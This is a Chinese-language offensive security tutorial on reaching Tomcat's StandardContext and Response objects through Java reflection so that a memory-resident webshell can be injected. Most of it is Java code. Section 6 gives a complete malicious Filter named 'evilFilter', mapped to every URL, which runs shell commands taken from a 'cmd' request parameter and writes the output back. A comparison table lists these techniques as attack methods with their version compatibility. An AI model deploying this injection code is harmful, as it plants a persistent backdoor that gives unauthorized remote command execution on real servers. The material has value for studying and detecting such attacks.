Tomcat下java原生环境获取StandardContext的办法
字数 1314 2025-08-29 08:30:24

Tomcat环境下获取StandardContext及Response回显方法详解

1. Tomcat中三个Context的理解

1.1 ServletContext

  • Servlet规范中规定的接口
  • 规定了WEB容器Context的基本功能:
    • 获取路径
    • 获取参数
    • 获取当前filter
    • 获取当前servlet等

1.2 ApplicationContext

  • Tomcat中对ServletContext接口的实现
  • 使用了门面模式,实际套了一层ApplicationContextFacade
  • 实现了ServletContext规范定义的方法:
    • addServlet
    • addFilter等

1.3 StandardContext

  • Tomcat中真正起作用的Context
  • 负责与Tomcat底层交互
  • ApplicationContext更像是对StandardContext的封装

2. JSP环境下获取StandardContext的方法

方法1:通过RequestFacade获取

// 获取ApplicationContextFacade
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) request.getSession().getServletContext();

// 通过反射获取StandardContext
Field field = applicationContextFacade.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(applicationContextFacade);

field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);

方法2:通过Request的mappingData获取

// 获取Request对象
Field field = request.getClass().getDeclaredField("request");
field.setAccessible(true);
Request req = (Request) field.get(request);

// 从mappingData中获取StandardContext
StandardContext standardContext = req.getMappingData().context;

3. Java原生环境下获取StandardContext的方法

方法1:通过WebappClassLoaderBase获取

// 获取当前线程的上下文类加载器
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();

// 获取StandardContext
StandardContext standardContext = webappClassLoaderBase.getResources().getContext();

注意

  • 仅适用于Tomcat 8/9
  • 在8.5.78+版本中getResources()被标记为@Deprecated
  • 在10.x版本中该方法被移除

方法2:通过ThreadLocal获取(kingkk方法)

// 1. 反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true
Class<?> applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field wrapSameObjectField = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT");
wrapSameObjectField.setAccessible(true);
boolean originWrapSameObjectValue = wrapSameObjectField.getBoolean(null);
wrapSameObjectField.setBoolean(null, true);

// 2. 初始化lastServicedRequest和lastServicedResponse
Class<?> applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest");
lastServicedRequestField.setAccessible(true);
ThreadLocal<?> threadLocalReq = (ThreadLocal<?>) lastServicedRequestField.get(null);

Field lastServicedResponseField = applicationFilterChain.getDeclaredField("lastServicedResponse");
lastServicedResponseField.setAccessible(true);
ThreadLocal<?> threadLocalRes = (ThreadLocal<?>) lastServicedResponseField.get(null);

// 3. 获取RequestFacade
RequestFacade requestFacade = (RequestFacade) threadLocalReq.get();

限制

  • 只适用于Tomcat <10, JDK <17
  • 在Shiro环境下无法使用
  • 需要访问两次指定servlet才能成功

4. Tomcat直接写Response的方法

方法1:半通用方法(通过已有Request/Response)

// 获取Response对象后直接写入
response.getWriter().write("Hello World");

方法2:Tomcat 8/9/10通用方法(Litch1方法)

// 1. 获取StandardService
StandardContext standardContext = ...; // 通过前述方法获取
StandardService standardService = (StandardService) standardContext.getParent();

// 2. 获取Connector和Http11NioProtocol
Connector[] connectors = standardService.findConnectors();
Http11NioProtocol protocol = (Http11NioProtocol) connectors[0].getProtocolHandler();

// 3. 获取ConnectionHandler
ConnectionHandler handler = protocol.getHandler();

// 4. 获取GlobalRequestProcessor和RequestInfo
Field globalField = handler.getClass().getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);

RequestInfo[] processors = global.getProcessors();
for (RequestInfo processor : processors) {
    // 5. 获取Request对象
    Field reqField = processor.getClass().getDeclaredField("req");
    reqField.setAccessible(true);
    Request req = (Request) reqField.get(processor);
    
    // 6. 获取Response并写入
    Response res = req.getResponse();
    res.getWriter().write("Hello World");
}

方法3:Tomcat 7/8/9通用方法(李三方法)

// 1. 获取Registry
Registry registry = Registry.getRegistry(null, null);

// 2. 查找RequestProcessor
Object[] processors = (Object[]) registry.find(new ObjectName("Tomcat:type=GlobalRequestProcessor,*"));

for (Object processor : processors) {
    // 3. 获取RequestInfo
    Field requestInfoField = processor.getClass().getDeclaredField("requestInfo");
    requestInfoField.setAccessible(true);
    RequestInfo requestInfo = (RequestInfo) requestInfoField.get(processor);
    
    // 4. 获取Request对象
    Field reqField = requestInfo.getClass().getDeclaredField("req");
    reqField.setAccessible(true);
    Request req = (Request) reqField.get(requestInfo);
    
    // 5. 获取Response并写入
    Response res = req.getResponse();
    res.getWriter().write("Hello World");
}

5. 方法对比总结

攻击方式 适用版本 Shiro兼容性
取lastServicedRequest Tomcat 7/8/9 不兼容
从ConnectionHandler取global Tomcat 8/9/10 兼容
直接从Registry读取 Tomcat 7/8/9 兼容

6. 实际应用示例

6.1 通过ThreadLocal获取Request并写入内存马

// 1. 获取RequestFacade(使用前述方法2)
RequestFacade requestFacade = ...;

// 2. 获取StandardContext
Field field = requestFacade.getClass().getDeclaredField("request");
field.setAccessible(true);
Request request = (Request) field.get(requestFacade);
StandardContext standardContext = request.getContext();

// 3. 创建恶意Filter
Filter filter = new Filter() {
    @Override
    public void init(FilterConfig filterConfig) {}
    
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        if (req.getParameter("cmd") != null) {
            String[] cmd = {"/bin/sh", "-c", req.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            servletResponse.getWriter().write(output);
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }
    
    @Override
    public void destroy() {}
};

// 4. 创建FilterDef和FilterMap
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.setFilterName("evilFilter");
filterMap.addURLPattern("/*");
standardContext.addFilterMapBefore(filterMap);

7. 注意事项

  1. 版本兼容性:不同Tomcat版本实现细节可能不同,需要针对性调整
  2. JDK限制:JDK 17+限制了final字段的反射修改
  3. Shiro环境:部分方法在Shiro环境下不可用
  4. 线程安全:多线程环境下需要考虑线程安全问题
  5. 防御措施:现代WAF/RASP可能检测此类操作

8. 参考资源

  1. Landgrey's Blog - Java内存马
  2. CMISL - JAVA内存马
  3. ScriptBoy - Tomcat Filter注入
  4. HalfBlue - Java反序列化回显
Tomcat环境下获取StandardContext及Response回显方法详解 1. Tomcat中三个Context的理解 1.1 ServletContext Servlet规范中规定的接口 规定了WEB容器Context的基本功能: 获取路径 获取参数 获取当前filter 获取当前servlet等 1.2 ApplicationContext Tomcat中对ServletContext接口的实现 使用了门面模式,实际套了一层ApplicationContextFacade 实现了ServletContext规范定义的方法: addServlet addFilter等 1.3 StandardContext Tomcat中真正起作用的Context 负责与Tomcat底层交互 ApplicationContext更像是对StandardContext的封装 2. JSP环境下获取StandardContext的方法 方法1:通过RequestFacade获取 方法2:通过Request的mappingData获取 3. Java原生环境下获取StandardContext的方法 方法1:通过WebappClassLoaderBase获取 注意 : 仅适用于Tomcat 8/9 在8.5.78+版本中getResources()被标记为@Deprecated 在10.x版本中该方法被移除 方法2:通过ThreadLocal获取(kingkk方法) 限制 : 只适用于Tomcat <10, JDK <17 在Shiro环境下无法使用 需要访问两次指定servlet才能成功 4. Tomcat直接写Response的方法 方法1:半通用方法(通过已有Request/Response) 方法2:Tomcat 8/9/10通用方法(Litch1方法) 方法3:Tomcat 7/8/9通用方法(李三方法) 5. 方法对比总结 | 攻击方式 | 适用版本 | Shiro兼容性 | |---------|---------|------------| | 取lastServicedRequest | Tomcat 7/8/9 | 不兼容 | | 从ConnectionHandler取global | Tomcat 8/9/10 | 兼容 | | 直接从Registry读取 | Tomcat 7/8/9 | 兼容 | 6. 实际应用示例 6.1 通过ThreadLocal获取Request并写入内存马 7. 注意事项 版本兼容性 :不同Tomcat版本实现细节可能不同,需要针对性调整 JDK限制 :JDK 17+限制了final字段的反射修改 Shiro环境 :部分方法在Shiro环境下不可用 线程安全 :多线程环境下需要考虑线程安全问题 防御措施 :现代WAF/RASP可能检测此类操作 8. 参考资源 Landgrey's Blog - Java内存马 CMISL - JAVA内存马 ScriptBoy - Tomcat Filter注入 HalfBlue - Java反序列化回显